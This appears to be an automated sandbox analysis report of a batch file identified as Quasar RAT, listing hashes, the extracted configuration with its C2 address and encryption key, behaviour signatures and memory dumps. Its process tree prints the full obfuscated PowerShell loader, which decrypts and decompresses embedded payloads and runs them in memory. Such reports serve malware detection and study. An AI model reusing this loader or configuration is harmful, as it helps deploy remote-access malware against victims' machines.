Analysis

  • max time kernel
    31s
  • max time network
    33s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-04-2024 17:53

General

  • Target

    Client-built.bat

  • Size

    1.8MB

  • MD5

    3fbd3f63effc0d1dd71a439393b293ae

  • SHA1

    0bed7df8938d18495a061133da4fe731b947de14

  • SHA256

    f07acfcbf476dab38e3790a6208dc4216bab8c8ae19c3ec6529f70f84f3e9165

  • SHA512

    ab18b2c93d6c0650fb105d05cc69f778f1c98f13b278ff327e6e3e70beae83965e6ace66d78a1d526c99216f5aeb509a4eb158a809bac2a219c675447d99235f

  • SSDEEP

    24576:mIb2faqtKK426nqfX3K/rBSfl4ohNtxFMB5kMIDJ0opfGNq80wC1XoN7d:m02H6w/NF+uBwC1Xu7d

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

127.0.0.1:4782

Mutex

b5ebc587-c8dc-4d34-91e9-41d81af9bf2b

Attributes
  • encryption_key

    3E64BD0F3C2CB6D39F080AD73274220030417C14

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4276
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AtLcF+t0FB33iSbfddxOST5FkZphJvCTctMBbZu4hMo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dm+IGy6zqhkYn8cc+qI1TQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $wAvkI=New-Object System.IO.MemoryStream(,$param_var); $ugKUQ=New-Object System.IO.MemoryStream; $HysxI=New-Object System.IO.Compression.GZipStream($wAvkI, [IO.Compression.CompressionMode]::Decompress); $HysxI.CopyTo($ugKUQ); $HysxI.Dispose(); $wAvkI.Dispose(); $ugKUQ.Dispose(); $ugKUQ.ToArray();}function execute_function($param_var,$param2_var){ $NSicI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Bqpci=$NSicI.EntryPoint; $Bqpci.Invoke($null, $param2_var);}$cuelP = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$host.UI.RawUI.WindowTitle = $cuelP;$AUWCp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($cuelP).Split([Environment]::NewLine);foreach ($biZnu in $AUWCp) { if ($biZnu.StartsWith(':: ')) { $twfqf=$biZnu.Substring(3); break; }}$payloads_var=[string[]]$twfqf.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4216

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mdic0j0r.wbb.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4216-16-0x000002E32C300000-0x000002E32C310000-memory.dmp

    Filesize

    64KB

  • memory/4216-17-0x000002E32F020000-0x000002E32F070000-memory.dmp

    Filesize

    320KB

  • memory/4216-12-0x000002E32C300000-0x000002E32C310000-memory.dmp

    Filesize

    64KB

  • memory/4216-11-0x000002E32C300000-0x000002E32C310000-memory.dmp

    Filesize

    64KB

  • memory/4216-13-0x000002E314140000-0x000002E314148000-memory.dmp

    Filesize

    32KB

  • memory/4216-14-0x000002E32E580000-0x000002E32E6D8000-memory.dmp

    Filesize

    1.3MB

  • memory/4216-10-0x00007FFE80AD0000-0x00007FFE81591000-memory.dmp

    Filesize

    10.8MB

  • memory/4216-0-0x000002E32C260000-0x000002E32C282000-memory.dmp

    Filesize

    136KB

  • memory/4216-15-0x000002E32E6F0000-0x000002E32EA14000-memory.dmp

    Filesize

    3.1MB

  • memory/4216-18-0x000002E32F130000-0x000002E32F1E2000-memory.dmp

    Filesize

    712KB

  • memory/4216-19-0x000002E32F900000-0x000002E32FAC2000-memory.dmp

    Filesize

    1.8MB

  • memory/4216-20-0x00007FFE80AD0000-0x00007FFE81591000-memory.dmp

    Filesize

    10.8MB

  • memory/4216-21-0x000002E32C300000-0x000002E32C310000-memory.dmp

    Filesize

    64KB

  • memory/4216-22-0x000002E32C300000-0x000002E32C310000-memory.dmp

    Filesize

    64KB

  • memory/4216-23-0x000002E32C300000-0x000002E32C310000-memory.dmp

    Filesize

    64KB